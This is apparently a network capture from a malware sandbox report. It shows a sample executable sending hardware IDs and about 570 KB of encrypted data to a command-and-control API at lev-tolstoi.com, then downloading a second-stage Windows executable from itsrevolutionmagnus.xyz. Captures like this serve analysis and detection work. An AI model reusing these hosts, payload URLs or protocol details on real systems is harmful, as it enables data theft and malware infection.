6	192.168.2.4	49736	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:27 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3YRYN79WNXQICM6JN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: lev-tolstoi.com
2024-12-27 13:42:27 UTC	1258	OUT	Data Raw: 2d 2d 33 59 52 59 4e 37 39 57 4e 58 51 49 43 4d 36 4a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 34 30 31 39 45 36 35 41 46 42 33 32 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 33 59 52 59 4e 37 39 57 4e 58 51 49 43 4d 36 4a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 59 52 59 4e 37 39 57 4e 58 51 49 43 4d 36 4a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 0d Data Ascii: --3YRYN79WNXQICM6JNContent-Disposition: form-data; name="hwid"514019E65AFB322223D904AF30EFEBBC--3YRYN79WNXQICM6JNContent-Disposition: form-data; name="pid"1--3YRYN79WNXQICM6JNContent-Disposition: form-data; name="lid"H8NgCl--voideed
2024-12-27 13:42:27 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ate0jm0u7hnm1hnm5lgl5sfsda; expires=Tue, 22 Apr 2025 07:29:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VwBQ3ffo0TS%2FfK7%2FIgouF9mXoExVLNeV1u7taVfL5Pe0czxrEXdO5ilqx1zYENwILe%2BtSVPc0bN1k5IlXja3zYQNsJVHMcVft6Cj354gvvTPMJlFndh1Jndnx5gMxMQpgB8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bbe4c91c4315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1603&rtt_var=625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2173&delivery_rate=1717647&cwnd=218&unsent_bytes=0&cid=cb80dfafd05f401d&ts=704&x=0"
2024-12-27 13:42:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:42:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:30 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RVTD4JJB9QN9VVA6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570261 Host: lev-tolstoi.com
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 2d 2d 52 56 54 44 34 4a 4a 42 39 51 4e 39 56 56 41 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 34 30 31 39 45 36 35 41 46 42 33 32 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 52 56 54 44 34 4a 4a 42 39 51 4e 39 56 56 41 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 56 54 44 34 4a 4a 42 39 51 4e 39 56 56 41 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 0d 0a 2d 2d Data Ascii: --RVTD4JJB9QN9VVA6Content-Disposition: form-data; name="hwid"514019E65AFB322223D904AF30EFEBBC--RVTD4JJB9QN9VVA6Content-Disposition: form-data; name="pid"1--RVTD4JJB9QN9VVA6Content-Disposition: form-data; name="lid"H8NgCl--voideed--
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 94 af 83 6d 6e 7f af 53 f3 ae ea 1f 22 39 20 71 69 84 39 71 ca 15 51 a5 9f ea bd 62 eb 2b d4 ae b5 52 5e 51 c8 1e e8 b7 12 f9 98 44 5f db bc 17 56 a7 f4 af 22 86 ae c3 aa 36 2d bc f6 a7 83 36 7a fb d5 18 21 3f 61 f1 4e c3 c8 8a 36 d3 62 aa 89 a3 af f1 e6 17 b4 e6 67 eb a3 11 ea 63 88 e1 87 be 61 63 c4 1f 8f 70 0b f1 60 04 d5 3a c1 9b 3f ba 87 61 14 b7 73 57 9a 74 0d 22 b1 1f e9 5f 3b 43 e8 3d 10 05 fb 48 ce 08 31 98 a8 d3 93 eb 62 3d 05 03 11 4c 11 92 ba fe a4 11 c0 d8 1e 2b c3 9d a2 d0 1c e5 8d 0d 22 c2 ed 08 2f 13 ad 55 19 3d 4b 16 70 f4 77 78 5b 48 70 4b 12 d3 83 82 1f 71 6f 47 68 7e be 31 62 1b ab 31 a2 fc ba f3 0a 2b e3 8a 35 db 8e 21 13 cb b9 ed f3 6c 16 be 97 7c ec e6 ab 6a 1f 30 aa 9d 6f 41 96 f9 bc bb fe 9c 3f 91 a4 44 55 1c 0c 14 98 a2 e5 6a 39 Data Ascii: mnS"9 qi9qQb+R^QD_V"6-6z!?aN6bgcacp`:?asWt"_;C=H1b=L+"/U=Kpwx[HpKqoGh~1b1+5!l\|j0oA?DUj9
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: d6 9a f4 03 77 57 fc ed 06 9b 8c 97 71 db d2 65 a2 10 07 cf 33 9f eb 3c 2a 41 a8 33 2e e5 e2 39 b2 2b 17 9f 0d 5b 6e bb df 9a 7b c6 61 f2 a9 85 ac 15 d0 ba d7 9d 9e 06 13 50 3f 9e d3 7d 04 af 7e 58 fe b6 cf 61 f3 10 d7 78 bc a2 b8 f4 12 c6 d2 f6 f5 9f 8a bc 26 e3 d9 81 b3 e4 b4 85 dc ea 05 1b d6 24 99 57 56 c1 1e 0a 1a ac af d9 2a 0a 0a 1c dd ad e7 3a 14 7e 1f 62 1a 8b 72 bb 06 8f 8c f8 f9 7f de 48 8b ba 61 0f d7 dc e1 fd 3c c8 7e 92 76 6f 57 70 45 f4 39 7f cf 2f b3 f1 ea 5e 4b a1 ea f9 7a ce de 0e 89 36 b7 cf 06 b7 ef 5b 70 9c 9e d0 28 2f eb dd 29 19 fd 2d ef d4 00 71 a8 d2 04 54 f4 3e fd 70 57 c3 e9 5e 51 d0 48 8b 93 57 0d 27 9b ec 4d 4c 65 87 94 5c 5f 7f 64 04 b6 d7 1f 54 69 03 a7 e0 ce 0f 76 45 ff 7d e8 5f 8c 0f ba 3e 18 c4 7a ae 73 0f d1 ec d9 ca 7f Data Ascii: wWqe3<A3.9+[n{aP?}~Xax&$WV:~brHa<~voWpE9/^Kz6[p(/)-qT>pW^QHW'MLe\_dTivE}_>zs
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 06 eb 3e 5d 49 20 d9 c9 3c 1f 4e 20 f2 77 41 01 71 a8 c6 71 d6 14 8b 1c 1d 87 86 52 57 5c b3 19 d3 fa c5 2b d8 77 0a d6 ce 15 ea a0 49 32 6c dd 50 9e 60 61 d4 51 d2 e8 5a e2 a3 cd c5 2c bc d0 bb 36 95 67 d4 8d ac 5f 3c 24 bc 76 be db 35 2b 63 a0 0e 5b 58 ca b7 22 03 12 ff 28 f8 a1 2e 81 26 d7 12 19 74 57 2a a2 fb a1 69 10 cf d6 9d 9c 04 b2 69 88 e7 8a 6a 56 46 2d a9 94 73 cb 81 d8 95 7b 05 b8 3d f3 3f ad 36 52 32 6a f0 36 d5 64 d4 f3 c2 53 22 f5 7b 85 c1 13 93 64 e3 57 83 92 8e 56 2e 87 c8 cd 05 df 5c 78 90 1b ea 42 79 db 05 55 79 1f 79 b4 b4 93 d9 76 38 f4 58 41 b4 55 8c 50 92 5a 91 aa bb 72 27 fd b1 e2 4b be a0 a3 5a 4c e5 68 f3 6d 45 92 d5 72 cf 97 50 46 9b 47 7f 2e ca da ee df f6 57 23 3f bd 72 d0 73 41 a3 b7 38 9b 16 0f 03 d9 2b 0e 46 7a 83 d5 87 3d Data Ascii: >]I <N wAqqRW\+wI2lP`aQZ,6g_<$v5+c[X"(.&tW*iijVF-s{=?6R2j6dS"{dWV.\xByUyyv8XAUPZr'KZLhmErPFG.W#?rsA8+Fz=
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 61 78 b1 9f 8b 0d bf 99 af 4e d8 13 4f 2f c5 47 69 80 fb e7 b4 99 56 27 8c 74 ef 72 c6 11 8c dd dc 99 4a ac 32 ef a2 0c 4e a3 d2 04 1f 9c 85 1b 8d 57 f0 b5 15 d6 26 6a 4e 59 d5 04 74 88 90 d2 85 25 57 75 e3 e6 0d 55 f9 4c 53 da fd dd 8c ac dc 82 f4 d3 64 b7 3e 2a cf 4e b1 fd 8b 53 c8 f5 73 1e ec 5f ae a2 08 c2 df bb 4f 09 ae 1b 17 5d 33 a2 69 c1 2d 24 86 d1 31 48 72 a9 64 85 83 45 f7 f0 35 6b ab b5 ae 18 8e 81 73 93 c9 13 ec 51 49 47 b6 a0 09 c9 9e 47 a4 fc 55 5b c2 7b c7 96 c5 c8 65 90 99 26 9a 3b 47 7f 62 ae 9e 7e 96 db f1 ac 0b 9c f1 aa 34 39 44 a6 12 ae c6 a3 5a 84 ff 83 81 2d af 11 16 4c c1 d5 88 92 c6 8d 8d e5 7e 3f 92 0c 92 2c c9 8f c3 d5 d6 df ae 20 df 37 6e a8 0e cb de 23 4f ce 67 f3 26 6d 4b 09 5e f8 7b 1f ad 14 a2 54 d0 31 ed 4f a3 b1 80 74 fb Data Ascii: axNO/GiV'trJ2NW&jNYt%WuULSd>*NSs_O]3i-$1HrdE5ksQIGGU[{e&;Gb~49DZ-L~?, 7n#Og&mK^{T1Ot
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 32 b8 f2 8d 22 dc 71 7a 16 4f 18 db 1a df 68 6a 88 f5 b3 5d 75 e2 a7 ce ba f7 c3 de 82 23 87 22 21 f6 d8 7a d5 e3 5c 30 97 00 33 05 15 e6 c7 77 53 fb 9a d6 98 68 05 d2 3e 89 cc 53 4e 7d 6a 29 fc 87 82 dc 76 0c 4c ca 87 1e 5a 40 ad 09 7c 32 8c c0 2a 4b 88 be 8f 89 df 63 d2 c8 9f e7 e9 f4 ab 77 2d 18 e3 9d d0 9a 9e cb 69 13 a9 2b 5d 0f 9c 69 6c 58 af 47 c3 4a 34 57 fb c8 1e 99 cc cb 0a 5f 5d 10 be 1e ee 7a 2c 27 71 a5 b6 2b fb 49 54 d1 5a 18 ae 66 ef 32 7f 4e 3a 39 4e 88 5a 00 16 76 df a5 b6 fd 57 2b e1 a4 8e af 70 50 bf 4d bf 87 5d 90 c5 dc 49 90 77 b5 8f d2 ad 92 ca f6 59 3a f1 3a 70 cb 4f b1 e3 2e 8a 43 15 f1 4f e0 df f9 f8 0f 25 f1 58 32 b8 6d 98 cd 6a 68 ec 55 b9 c0 ff f1 3c 95 60 23 79 0d ba f2 5b f2 94 93 36 ce 4b 7e af 63 ac 70 d4 08 02 bb 72 4f 9a Data Ascii: 2"qzOhj]u#"!z\03wSh>SN}j)vLZ@\|2*Kcw-i+]ilXGJ4W_]z,'q+ITZf2N:9NZvW+pPM]IwY::pO.CO%X2mjhU<`#y[6K~cprO
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: d3 e2 37 99 15 18 4b 5f c0 e9 b1 b3 1f 54 52 9f dc 5e dd f7 60 e5 06 bd 91 52 c0 ee 80 5e 9c 34 d1 9a dd 68 ec ae ed 0e a1 a3 df a3 35 f7 2b 6a de 01 d9 7e 2f 0c af 7e 0c 0f 14 7c 74 04 03 93 43 15 1b 45 84 86 9e d3 e3 be 29 68 ef 69 28 ed 29 99 9e dd 63 a2 ae a0 04 5e a3 2d 47 21 d4 67 cf b8 69 43 7e 30 3e 12 4e 6f 1a d3 a8 a7 7e 3f 4a 9d cd d5 64 0b 53 64 5b 1c 83 92 29 c2 14 3b f9 50 09 70 f2 4d 2e 5b b7 0a 29 35 35 7e d0 5c 97 90 fb 4b f8 fc 62 c5 4f 52 b4 e6 83 49 21 e5 b7 f4 13 b2 c1 7c 0b 24 fe 1a 23 84 6a 5f dd 15 e5 c3 3b 0b c1 b7 70 14 b3 de d0 bf 1c 4a 96 93 84 52 d3 97 52 a9 55 88 e3 b9 ac 18 4a fe fd 9d 0a b0 ce ba 36 d2 a0 e3 86 11 2b f2 39 43 02 94 fd fd 7c b6 85 51 44 3f 6f ce 5e fe eb 05 66 35 78 43 1a 51 44 5e 08 27 8a 21 d5 4e 61 4b 9e Data Ascii: 7K_TR^`R^4h5+j~/~\|tCE)hi()c^-G!giC~0>No~?JdSd[);PpM.[)55~\KbORI!\|$#j_;pJRRUJ6+9C\|QD?o^f5xCQD^'!NaK
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 7e bd 37 e6 01 4d 7e a5 4d d2 2f 73 3a a0 87 11 a2 4c 89 4a d0 12 af 92 80 b5 c8 55 5b 05 0b be 89 07 a4 fd d7 48 1c ff 12 80 6e 01 5e 42 64 9f dd 10 d1 19 86 9d a8 ba fb be c8 55 a5 c4 ed 0d 04 4f 22 23 f2 2a c7 cb 3a 76 66 1c 37 2f 07 45 a0 76 66 1e c3 14 ac ae 23 fd f4 75 16 63 2e 54 11 9e 7d 9a cf 15 06 f5 f3 7f 17 11 e5 88 fd e7 44 98 af aa ad f0 54 82 d8 70 b3 eb 8c 08 98 6a 83 52 94 80 d2 2d e3 f6 5f 78 35 a1 05 01 32 86 8d 75 20 8e 21 14 d9 c1 c3 f3 cd 7c cf 67 a9 1a fb 29 83 55 f4 ac cc fa ad 44 d8 2c 00 1f 57 15 26 32 20 05 58 0d 2d 30 57 6a f0 75 e2 6d 5c 94 18 78 6d 44 68 43 a5 3f e4 3e 3c ab c2 70 41 30 b6 6b fd 12 fe f2 e7 cc f0 78 fd 3a b7 30 fc 41 43 20 c9 b6 65 f7 af 55 da e7 67 2d 65 de 57 fd b6 80 1d fd ff bd a0 5d 5c 0d 50 fa cf 08 78 Data Ascii: ~7M~M/s:LJU[Hn^BdUO"#*:vf7/Evf#uc.T}DTpjR-_x52u !\|g)UD,W&2 X-0Wjum\xmDhC?><pA0kx:0AC eUg-eW]\Px
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: 69 d9 48 1c aa c9 29 70 49 fa 7f d2 5f 07 f4 77 15 bc fb ff b9 13 72 33 95 7e 1f 7c d3 60 e3 2e 47 89 da d1 a8 84 ed 45 64 72 39 4a da d7 67 77 fd ad 80 b8 cc 56 11 be cb 55 b5 e5 22 ee c6 99 a8 14 df bf 7d e2 fd 74 40 ef 90 d5 9f ff eb 1c 88 75 ad c8 13 e2 55 5c 8e e5 0f 87 97 48 c6 0f 5f 7b 61 ee ff 16 af ef 94 06 5d d0 64 31 04 50 33 85 4b bc d2 8b b7 4d 27 d6 f8 b6 b4 dd 82 56 54 fd 53 54 4c 7b d2 38 4c 9f bd 08 ae 9d 0c 44 a8 8c 85 2d d7 65 2d 20 2d cb c1 e8 da 3b d1 fb 2a 0c 29 d4 4b 15 46 da 52 9c 97 16 53 11 d5 c3 f7 33 5a 19 39 cf 14 e3 2f cb 87 d2 ee d5 1e ac 48 aa 7d 24 75 a7 c7 cb df 16 5a 9c e0 3c 9b 4e 1a d1 9d df 85 db 06 7e f5 93 10 64 df d5 1f 37 98 a7 f6 6c 76 52 8e ec 42 37 e5 68 91 95 46 aa 02 91 57 4f 13 93 04 57 4e de 75 6b 5d ad 33 Data Ascii: iH)pI_wr3~\|`.GEdr9JgwVU"}t@uU\H_{a]d1P3KM'VTSTL{8LD-e- -;*)KFRS3Z9/H}$uZ<N~d7lvRB7hFWOWNuk]3
2024-12-27 13:42:30 UTC	15331	OUT	Data Raw: e7 23 f1 0a 9b 49 5d 55 c6 ab 1d 14 d8 44 22 8e b0 60 ff 15 6c 23 6c 3b f8 e1 2e 05 c1 90 60 22 fb 91 f5 cf 54 09 ac b7 48 6d 03 96 0d 20 6e f6 42 8d 81 63 22 a4 c0 48 c5 ca dd a1 5f 9b 50 ab 11 c9 d3 74 e2 e8 8e 1f 36 e1 9c e5 54 1b 04 7f 9a e7 a7 85 95 19 76 95 4e 5e 45 67 d9 1b 6e 7f 99 12 af 6c bd 33 89 76 46 81 b7 f1 f7 55 eb c0 52 76 eb c0 fa 50 7a 58 26 a0 27 45 68 c7 85 b7 6d 04 69 92 ab c7 f1 ec 38 6f 60 2e 0a ba 4d b9 bb 58 61 34 de eb 8f e7 56 57 e7 0a 1e e7 65 bc 03 84 eb ac a2 8c b2 af d3 19 8b 94 fc 49 e0 bc ce d8 98 fb 8b 96 2e 0b a2 05 44 85 2d 25 57 0e 3c 10 e5 ea 95 fc e5 ad b1 fc a6 69 fd 9f 7d 37 fe e3 25 fd 2c 67 61 fb 1f d8 25 06 9e 7d 90 36 5b dc bf 62 57 12 fa 7d 8d 3d f3 28 28 ff 63 dc 13 da a7 0d f6 b0 ee 5c c5 fd e9 fe c8 6a c7 Data Ascii: #I]UD"`l#l;.`"THm nBc"H_Pt6TvN^Egnl3vFURvPzX&'Ehmi8o`.MXa4VWeI.D-%W<i}7%,ga%}6[bW}=((c\j
2024-12-27 13:42:33 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h6lfcbqkd6fmiu446uq10l8ouc; expires=Tue, 22 Apr 2025 07:29:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Xu5QMthcRLMunegRso4dNOl4cKzucLjRO15%2FPInVItYR82hhFFo0saQpYfBFCy0mvBULhHvjr8%2Fae37JkQVTypSTI4fTCjI1HU9kl7twYz49aWY59mNlHIQxpOhAh%2Bf%2FmU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bbf9489542f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2167&min_rtt=2162&rtt_var=822&sent=198&recv=588&lost=0&retrans=0&sent_bytes=2835&recv_bytes=572805&delivery_rate=1323062&cwnd=231&unsent_bytes=0&cid=697a300a21435c4c&ts=3151&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: lev-tolstoi.com
2024-12-27 13:42:35 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 26 6a 3d 26 68 77 69 64 3d 35 31 34 30 31 39 45 36 35 41 46 42 33 32 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=H8NgCl--voideed&j=&hwid=514019E65AFB322223D904AF30EFEBBC
2024-12-27 13:42:35 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=955jkbt9ckp6962rgjaru0n99a; expires=Tue, 22 Apr 2025 07:29:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R1jdVv%2FvPpvZcC7xUbyneL7aZWs7b2tkyO9C6ig%2BE4vOk3J8Uap1LyubtBrSKrTBGXixn0p1N05ja3JU1j8Lxv6Es2eFnlEj5LpZSk4vIWGTApikOk%2BD0swE%2BwdzVxxYRXw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc16ece843c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1687&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=983&delivery_rate=1630374&cwnd=223&unsent_bytes=0&cid=0fce5251188e0917&ts=747&x=0"
2024-12-27 13:42:35 UTC	230	IN	Data Raw: 65 30 0d 0a 43 68 34 48 56 2f 46 76 4d 43 70 49 53 4e 47 49 6d 4b 33 42 48 4a 77 48 6d 66 4b 38 47 71 41 73 6d 64 51 6a 63 4f 33 5a 49 64 56 52 5a 53 55 69 30 31 55 53 51 6a 77 38 6f 66 75 69 38 65 35 41 73 32 37 74 67 63 35 2f 31 6b 50 31 6f 56 63 5a 67 72 64 4d 74 47 31 77 63 69 54 66 46 30 6c 51 46 47 65 43 34 50 62 44 70 33 69 79 59 75 47 58 6e 6a 61 43 53 75 33 32 47 55 44 42 2b 30 54 33 4d 43 35 36 65 34 70 4e 52 51 68 79 61 72 6e 38 37 4e 32 79 4a 73 41 6f 78 64 33 56 62 74 4e 65 2f 4b 4a 4d 48 4a 69 74 53 4c 70 6b 63 32 59 77 6e 78 70 44 42 44 41 78 71 39 53 33 34 36 70 35 2b 57 4c 77 33 4e 6c 69 78 51 36 31 39 6b 55 45 7a 2b 4d 52 2b 53 68 37 4a 57 33 42 45 6d 30 3d 0d 0a Data Ascii: e0Ch4HV/FvMCpISNGImK3BHJwHmfK8GqAsmdQjcO3ZIdVRZSUi01USQjw8ofui8e5As27tgc5/1kP1oVcZgrdMtG1wciTfF0lQFGeC4PbDp3iyYuGXnjaCSu32GUDB+0T3MC56e4pNRQhyarn87N2yJsAoxd3VbtNe/KJMHJitSLpkc2YwnxpDBDAxq9S346p5+WLw3NlixQ619kUEz+MR+Sh7JW3BEm0=
2024-12-27 13:42:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	172.67.182.218	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:37 UTC	208	OUT	GET /Shnnfd.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: itsrevolutionmagnus.xyz
2024-12-27 13:42:38 UTC	960	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:38 GMT Content-Type: application/octet-stream Content-Length: 1796608 Connection: close Last-Modified: Wed, 25 Dec 2024 23:29:08 GMT ETag: "676c9544-1b6a00" X-Content-Type-Options: nosniff Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fqbFeriR1YDA9HA6KSIst8M9T5ntiq%2Bm%2BCUJY7mXzqm2%2B6KvyRwNulsYq19Yu%2BeFKKgveWHc4jboOmWUw47d0ifdccIXzO3gjjAf6ytQD%2FkdvbSHZdH92nsBcsJaDEJOOqdZ7xzm3mtBLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bc25de4f0c74-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1832&min_rtt=1832&rtt_var=916&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4262&recv_bytes=822&delivery_rate=233880&cwnd=84&unsent_bytes=0&cid=3a68dd731f59c104&ts=770&x=0"
2024-12-27 13:42:38 UTC	409	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 a8 07 00 00 66 1b 00 00 0c 00 00 07 13 00 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 1b 00 00 04 00 00 63 68 09 00 03 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(f@ch@
2024-12-27 13:42:38 UTC	1369	IN	Data Raw: 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 f4 12 00 00 00 c0 07 00 00 14 00 00 00 ac 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 9c a8 00 00 00 e0 07 00 00 aa 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 f4 0a 00 00 00 90 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 14 0e 00 00 00 a0 08 00 00 10 00 00 00 6a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 34 00 00 00 00 b0 08 00 00 02 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 c0 08 00 00 02 00 00 00 7c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 Data Ascii: ``.data@.rdata@@.bss.idataj@.CRT4z@.tls\|@.rsrc
